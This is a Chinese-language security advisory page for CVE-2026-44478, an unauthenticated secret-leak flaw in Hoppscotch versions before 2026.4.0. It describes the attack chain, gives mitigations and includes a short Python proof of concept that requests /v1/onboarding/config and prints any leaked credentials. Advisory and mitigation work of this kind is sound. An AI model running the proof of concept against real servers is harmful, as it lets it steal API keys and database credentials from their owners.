IPBUF安全漏洞报告
English
CVE-2026-44478 CVSS 7.5 高危

CVE-2026-44478 Hoppscotch敏感信息泄露漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44478
漏洞类型
敏感信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hoppscotch

相关标签

信息泄露HoppscotchAPI安全未授权访问

漏洞概述

Hoppscotch在2026.4.0版本之前存在严重的信息泄露漏洞。尽管此前修复了配置覆盖问题,但当数据库中ONBOARDING_RECOVERY_TOKEN为空时,未认证用户仍可通过访问特定端点获取明文的基础设施机密,导致数据安全风险。

技术细节

该漏洞源于Hoppscotch在处理/v1/onboarding/config接口时的逻辑缺陷。虽然2026.2.0版本针对CVE-2026-28215增加了对POST请求的校验,防止配置被覆盖,但未对GET请求实施同等防护。当数据库中的ONBOARDING_RECOVERY_TOKEN值为空字符串时,系统逻辑缺陷导致未认证的GET请求绕过验证,直接返回包含敏感基础设施配置(如API密钥、数据库凭证等)的JSON数据。攻击者无需用户交互或特殊权限,仅通过网络访问即可窃取核心机密。

攻击链分析

STEP 1
侦察
攻击者识别互联网上运行Hoppscotch服务的目标IP地址或域名。
STEP 2
漏洞探测
攻击者向目标发送未认证的HTTP GET请求至/v1/onboarding/config路径。
STEP 3
信息窃取
如果目标数据库中ONBOARDING_RECOVERY_TOKEN为空,服务器返回包含基础设施机密的明文JSON,攻击者解析并保存这些敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-44478 Checks if the /v1/onboarding/config endpoint leaks secrets. """ endpoint = f"{target_url.rstrip('/')}/v1/onboarding/config" try: # Send unauthenticated GET request response = requests.get(endpoint, timeout=10) if response.status_code == 200: # Check if response looks like a config with secrets data = response.json() if data: # Assuming non-empty JSON response indicates leakage print("[!] Vulnerability confirmed! Sensitive data leaked:") print(response.text) return True else: print(f"[-] Target not vulnerable or patched. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return False if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target check_vulnerability(target)

影响范围

Hoppscotch < 2026.4.0

防御指南

临时缓解措施
建议立即检查数据库配置,确保ONBOARDING_RECOVERY_TOKEN不为空字符串。同时,可在网络边界限制对/v1/onboarding/config接口的访问,仅允许受信任的内部网络访问,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表